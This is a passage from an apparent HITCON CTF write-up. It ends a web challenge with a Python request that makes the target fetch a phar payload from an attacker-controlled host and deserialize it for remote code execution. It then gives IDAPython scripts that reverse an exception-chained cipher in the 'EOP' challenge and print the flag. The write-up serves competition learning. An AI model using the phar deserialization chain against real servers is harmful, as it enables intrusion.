print(s.post(<span class="hljs-string">'http://13.230.134.135/'</span>, params={<span class="hljs-string">'url'</span>: <span class="hljs-string">'http://240.240.240.240:11111/exp.phar'</span>, <span class="hljs-string">'data[]'</span>: <span class="hljs-string">'@phar:///var/www/html/tmp/cache/mycache/240.240.240.240/'</span>+md5+<span class="hljs-string">'/body.cache'</span>}))
</code></pre><p>The flag is <code>hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD&gt;&lt;}</code>. This is a classic example how an innocuous arbitrary file read vulnerability turns into a RCE.</p>
<h2 id="reverse"><a class="header-link" href="#reverse"></a>Reverse</h2>
<h3 id="eop"><a class="header-link" href="#eop"></a>EOP</h3>
<p>Instead of directly call functions and return, the binary leverages the mechanism of exception in C++ to chain the functions, and the operations of an encryption algorithm scattered into 123 functions.
To speed up the process of reversing, we extract them by idapython.</p>
<pre class="hljs"><code>from idaapi <span class="hljs-built_in">import</span> *


<span class="hljs-comment">#rename function pointor in sub_482A</span>
<span class="hljs-attr">dic</span> = {}
for i <span class="hljs-keyword">in</span> CodeRefsTo(<span class="hljs-number">0</span>xacd2, <span class="hljs-number">1</span>):
    dic[GetFunctionName(i)] = GetFunctionName(Qword(GetOperandValue(NextHead(i),<span class="hljs-number">1</span>)))
<span class="hljs-attr">s</span> = <span class="hljs-number">0</span>x4843
<span class="hljs-attr">e</span> = <span class="hljs-number">0</span>x55A7
while s &lt; e:
     <span class="hljs-attr">name</span> = dic[GetFunctionName(GetOperandValue(s,<span class="hljs-number">0</span>))]
     <span class="hljs-attr">name</span> = <span class="hljs-string">"ptr_"</span> + name
     MakeNameEx(GetOperandValue(NextHead(s),<span class="hljs-number">0</span>),name,idc.SN_NOWARN)
     s += <span class="hljs-number">0</span>x5f-<span class="hljs-number">0</span>x43

<span class="hljs-comment">#get the exception number of next function</span>
<span class="hljs-attr">next</span> = {}
for i <span class="hljs-keyword">in</span> CodeRefsTo(<span class="hljs-number">0</span>x4670 ,<span class="hljs-number">1</span>):
    <span class="hljs-keyword">if</span> <span class="hljs-string">"mov     dword ptr [rax],"</span> <span class="hljs-keyword">in</span> GetDisasm(NextHead(i)):
        next[GetFunctionName(i)] = GetOperandValue(NextHead(i),<span class="hljs-number">1</span>)

<span class="hljs-comment">#the order of function    </span>
<span class="hljs-attr">next_f</span> = <span class="hljs-number">28</span>
<span class="hljs-attr">order</span> = []
for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">123</span>):
    <span class="hljs-attr">now_f</span> = Name(<span class="hljs-number">0</span>x2131E0 + <span class="hljs-number">8</span>*next_f)[<span class="hljs-number">4</span>:]
    order.append(now_f)
    <span class="hljs-attr">next_f</span> = next[now_f]

<span class="hljs-comment">#extract code from every function</span>
<span class="hljs-attr">code</span> = {}
for i <span class="hljs-keyword">in</span> CodeRefsTo(<span class="hljs-number">0</span>x04640,<span class="hljs-number">1</span>):
    <span class="hljs-keyword">if</span> GetFunctionName(i) <span class="hljs-keyword">in</span> order:
        <span class="hljs-attr">temp</span> = NextHead(i)
        <span class="hljs-attr">code_t</span> = []
        while <span class="hljs-string">"___cxa_allocate_exception"</span> not <span class="hljs-keyword">in</span> GetDisasm(temp):
            code_t.append(GetDisasm(temp))
            <span class="hljs-attr">temp</span> = NextHead(temp)
        <span class="hljs-keyword">if</span> code_t[-<span class="hljs-number">1</span>] ==  <span class="hljs-string">"mov     edi, 4"</span>:
            <span class="hljs-attr">code_t</span> = code_t[:-<span class="hljs-number">1</span>]
        code[GetFunctionName(i)] = code_t

<span class="hljs-comment">#arrange code by order</span>
<span class="hljs-attr">whole</span> = []
for i <span class="hljs-keyword">in</span> order:
    whole += code[i]

print '\n'.join(whole)
</code></pre><p>Compiling a binary from assembly, which can be analyzed by angr, but it couldn&#39;t even get the first 16 byte of  the solution. 
Therefore, I dove into the code and realized that the encryption is reversible.</p>
<pre class="hljs"><code>import idaapi
import struct


def <span class="hljs-keyword">key</span>(idx):
    <span class="hljs-keyword">return</span>  idaapi.get_many_bytes(Qword(LocByName(<span class="hljs-string">"code"</span>))+idx*<span class="hljs-number">4</span>,<span class="hljs-number">4</span>)

def <span class="hljs-keyword">xor</span>(str1, str2):
    result = [<span class="hljs-number">0</span>]*len(str1)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(str1)):
        result[i] = chr(ord(str1[i])^ord(str2[i]))
    <span class="hljs-keyword">return</span> <span class="hljs-comment">''.join(result)</span>

def ror(s1, shift):
    data = struct.unpack(<span class="hljs-string">"&lt;I"</span>,s1)[<span class="hljs-number">0</span>]  
    body = data &gt;&gt; shift
    remains = (data &lt;&lt; (<span class="hljs-number">32</span> - shift)) - (body &lt;&lt; <span class="hljs-number">32</span>)
    data = (body + remains)
    <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"&lt;I"</span>,data)

def rol(s1, shift):
    data = struct.unpack(<span class="hljs-string">"&lt;I"</span>,s1)[<span class="hljs-number">0</span>]
    remains = data &gt;&gt; (<span class="hljs-number">32</span>- shift)
    body = (data &lt;&lt; shift) - (remains &lt;&lt; <span class="hljs-number">32</span> )
    data =(body + remains)
    <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"&lt;I"</span>,data)

def add(c, tempa, tempb, t):
    c = struct.unpack(<span class="hljs-string">"&lt;I"</span>,<span class="hljs-keyword">key</span>(c))[<span class="hljs-number">0</span>]
    tempa = struct.unpack(<span class="hljs-string">"&lt;I"</span>,tempa)[<span class="hljs-number">0</span>]
    tempb = struct.unpack(<span class="hljs-string">"&lt;I"</span>,tempb)[<span class="hljs-number">0</span>]
    <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"&lt;I"</span>,(c+tempa+tempb*t)&amp;<span class="hljs-number">0xffffffff</span>)



a = idaapi.get_many_bytes(LocByName(<span class="hljs-string">"check"</span>),<span class="hljs-number">0xf0</span><span class="hljs-number">-0xc0</span>)

flag = []
feedback_R = <span class="hljs-string">"\00"</span>*<span class="hljs-number">8</span>
feedback_L = <span class="hljs-string">"\00"</span>*<span class="hljs-number">8</span>
<span class="hljs-keyword">for</span> sli <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,<span class="hljs-number">48</span>,<span class="hljs-number">16</span>):
    final_R = a[sli:sli+<span class="hljs-number">8</span>]
    final_L = a[sli+<span class="hljs-number">8</span>:sli+<span class="hljs-number">16</span>]

    <span class="hljs-meta">#FP</span>
    final_L = <span class="hljs-keyword">xor</span>(final_L[:<span class="hljs-number">4</span>], <span class="hljs-keyword">key</span>(<span class="hljs-number">6</span>)) + <span class="hljs-keyword">xor</span>(final_L[<span class="hljs-number">4</span>:], <span class="hljs-keyword">key</span>(<span class="hljs-number">7</span>))
    final_R = <span class="hljs-keyword">xor</span>(final_R[:<span class="hljs-number">4</span>], <span class="hljs-keyword">key</span>(<span class="hljs-number">4</span>)) + <span class="hljs-keyword">xor</span>(final_R[<span class="hljs-number">4</span>:], <span class="hljs-keyword">key</span>(<span class="hljs-number">5</span>))

    <span class="hljs-meta">#process</span>
    iv = <span class="hljs-number">39</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
        temp_A = <span class="hljs-keyword">xor</span>(<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">2</span>])+<span class="hljs-number">0x240</span>),<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">1</span>])+<span class="hljs-number">0x140</span>)),<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">0</span>])+<span class="hljs-number">0x40</span>),<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">3</span>])+<span class="hljs-number">0x340</span>)))
        temp_B = <span class="hljs-keyword">xor</span>(<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">5</span>])+<span class="hljs-number">0x240</span>),<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">4</span>])+<span class="hljs-number">0x140</span>)),<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">7</span>])+<span class="hljs-number">0x40</span>),<span class="hljs-keyword">key</span>(ord(final_R[<span class="hljs-number">6</span>])+<span class="hljs-number">0x340</span>)))
        final_L = final_L[:<span class="hljs-number">4</span>] + <span class="hljs-keyword">xor</span>(final_L[<span class="hljs-number">4</span>:], add( iv,temp_A, temp_B,<span class="hljs-number">2</span>))
        final_L = rol(final_L[:<span class="hljs-number">4</span>],<span class="hljs-number">1</span>) + ror(final_L[<span class="hljs-number">4</span>:],<span class="hljs-number">1</span>)
        final_L = <span class="hljs-keyword">xor</span>(final_L[:<span class="hljs-number">4</span>], add(iv<span class="hljs-number">-1</span>,temp_A, temp_B,<span class="hljs-number">1</span>)) + final_L[<span class="hljs-number">4</span>:]
        temp_A = <span class="hljs-keyword">xor</span>(<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">2</span>])+<span class="hljs-number">0x240</span>),<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">1</span>])+<span class="hljs-number">0x140</span>)),<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">0</span>])+<span class="hljs-number">0x40</span>),<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">3</span>])+<span class="hljs-number">0x340</span>)))
        temp_B = <span class="hljs-keyword">xor</span>(<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">5</span>])+<span class="hljs-number">0x240</span>),<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">4</span>])+<span class="hljs-number">0x140</span>)),<span class="hljs-keyword">xor</span>(<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">7</span>])+<span class="hljs-number">0x40</span>),<span class="hljs-keyword">key</span>(ord(final_L[<span class="hljs-number">6</span>])+<span class="hljs-number">0x340</span>)))
        final_R = final_R[:<span class="hljs-number">4</span>] + <span class="hljs-keyword">xor</span>(final_R[<span class="hljs-number">4</span>:], add(iv<span class="hljs-number">-2</span>,temp_A, temp_B,<span class="hljs-number">2</span>))
        final_R = rol(final_R[:<span class="hljs-number">4</span>],<span class="hljs-number">1</span>) + ror(final_R[<span class="hljs-number">4</span>:],<span class="hljs-number">1</span>)
        final_R = <span class="hljs-keyword">xor</span>(final_R[:<span class="hljs-number">4</span>], add(iv<span class="hljs-number">-3</span>,temp_A, temp_B,<span class="hljs-number">1</span>)) + final_R[<span class="hljs-number">4</span>:]
        iv = iv - <span class="hljs-number">4</span>
    <span class="hljs-meta">#IP</span>
    final_L = <span class="hljs-keyword">xor</span>(final_L[:<span class="hljs-number">4</span>], <span class="hljs-keyword">key</span>(<span class="hljs-number">0</span>)) + <span class="hljs-keyword">xor</span>(final_L[<span class="hljs-number">4</span>:], <span class="hljs-keyword">key</span>(<span class="hljs-number">1</span>))
    final_R = <span class="hljs-keyword">xor</span>(final_R[:<span class="hljs-number">4</span>], <span class="hljs-keyword">key</span>(<span class="hljs-number">2</span>)) + <span class="hljs-keyword">xor</span>(final_R[<span class="hljs-number">4</span>:], <span class="hljs-keyword">key</span>(<span class="hljs-number">3</span>))

    flag.append(<span class="hljs-keyword">xor</span>(final_L,feedback_L))
    flag.append(<span class="hljs-keyword">xor</span>(final_R,feedback_R))
    feedback_R = a[sli+<span class="hljs-number">8</span>:sli+<span class="hljs-number">16</span>]
    feedback_L = a[sli:sli+<span class="hljs-number">8</span>]

print <span class="hljs-comment">''.join(flag)</span>
</code></pre><p>solution is <code>~Exc3p7i0n-Ori3n7ed-Pr0grammin9~RoO0cks!!\o^_^o/</code></p>
        </article>
      </div>
    </div>
  </body>
</html>
